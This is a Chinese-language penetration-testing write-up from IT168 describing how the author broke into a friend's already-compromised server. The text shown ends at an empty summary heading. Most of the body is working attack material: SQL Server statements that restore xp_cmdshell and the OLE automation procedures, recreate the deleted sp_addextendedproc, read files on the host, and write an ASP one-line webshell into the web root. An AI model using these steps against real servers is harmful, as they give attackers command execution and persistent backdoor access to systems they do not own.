转载请著明 [safe.it168.com]
作者:伤心的鱼
【IT168 专稿】前言:
笔者的一位朋友应聘到一家公司做网管,据说整个机房就他们俩人,工作很轻松。几乎是没什么事做,但是昨天突然给我打电话说是机房被入侵了,被人加了很多用户并且什么cain,arpspoof全都丢到javascript:tagshow(event, '%B7%FE%CE%F1%C6%F7');" href="javascript:;" target=_self>服务器上了,想让笔者帮忙看看是怎么渗透进去的,于是乎在敲诈了一顿烤鸭之后笔者终于出手了。在经过朋友的同意之后特意将本文写出来!
一.渗透前的踩点:
这哥们也够狠,除了丢给我个IP其他什么都没给我!IP是202.108.59.XX。没办法,自食其力。用superscan扫了下,发现开了21.80.1433 这三个端口,因为我只扫1-3389 。并没看见终端的3389。看来这家伙是怕了,直接把3389给关掉了。 用旁注的工具检测了下,发现服务器有两个网站。两个都是ASP的站,不用多说了。先寻找注射点吧,使用两个啊D都打开google 搜索site:xxxx.com,一页显示一百条,扫了半天只发现一个站有注射点,居然还是SA权限!不被黑才怪!
如图1
二: 恢复存储过程
于是马上想到恢复存储过程来执行命令,于是在查询分析器里执行:
CODE:
use master
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
就是将以上的存储过程全部恢复,但是在执行的时候却提示没能找到sp_addextendedproc,原来管理员把sp_addextendedproc也删了。
图3
CODE:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
图4
CODE:
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\1.txt', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
来读取1.txt里的内容,但是却发现不存在1.txt。
图5
图6
原来WEB目录是C:\Inetpub\tianhong\ ,一般感觉管理员都不会用C:\Inetpub这个目录,自己也就没看,差点坏了大事。
不过既然知道了WEB目录 就可以写一个一句话进去啦 语句如下
CODE:
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\Inetpub\tianhong\2.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<%execute(request("a"))%>'
命令执行成功 看来一句话写进去了,马上使用客户端连一下,连接成功。
图7
图8
图9
总结: